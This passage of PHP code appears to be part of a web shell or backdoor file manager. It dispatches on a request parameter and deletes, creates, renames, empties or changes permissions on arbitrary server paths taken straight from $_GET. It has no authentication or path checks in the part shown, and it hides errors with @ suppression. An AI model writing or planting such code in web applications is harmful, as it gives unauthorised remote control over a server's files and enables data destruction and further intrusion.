dfile($p); exit; case 'rm': $p = isset($_GET['p']) ? $_GET['p'] : ''; if (!$p || !file_exists($p)) { echo '{"e":"not found"}'; exit; } $ok = is_dir($p) ? @rmdir($p) : @unlink($p); echo json_encode(array('s' => $ok ? 'ok' : 'fail')); break; case 'mkdir': $p = isset($_GET['p']) ? $_GET['p'] : ''; if (!$p) { echo '{"e":"no path"}'; exit; } $ok = @mkdir($p, 0755, true); echo json_encode(array('s' => $ok ? 'ok' : 'fail')); break; case 'mv': $s = isset($_GET['s']) ? $_GET['s'] : ''; $d = isset($_GET['d']) ? $_GET['d'] : ''; if (!$s || !$d) { echo '{"e":"missing params"}'; exit; } $ok = @rename($s, $d); echo json_encode(array('s' => $ok ? 'ok' : 'fail')); break; case 'touch': $p = isset($_GET['p']) ? $_GET['p'] : ''; if (!$p) { echo '{"e":"no path"}'; exit; } $ok = @file_put_contents($p, '') !== false; echo json_encode(array('s' => $ok ? 'ok' : 'fail')); break; case 'chmod':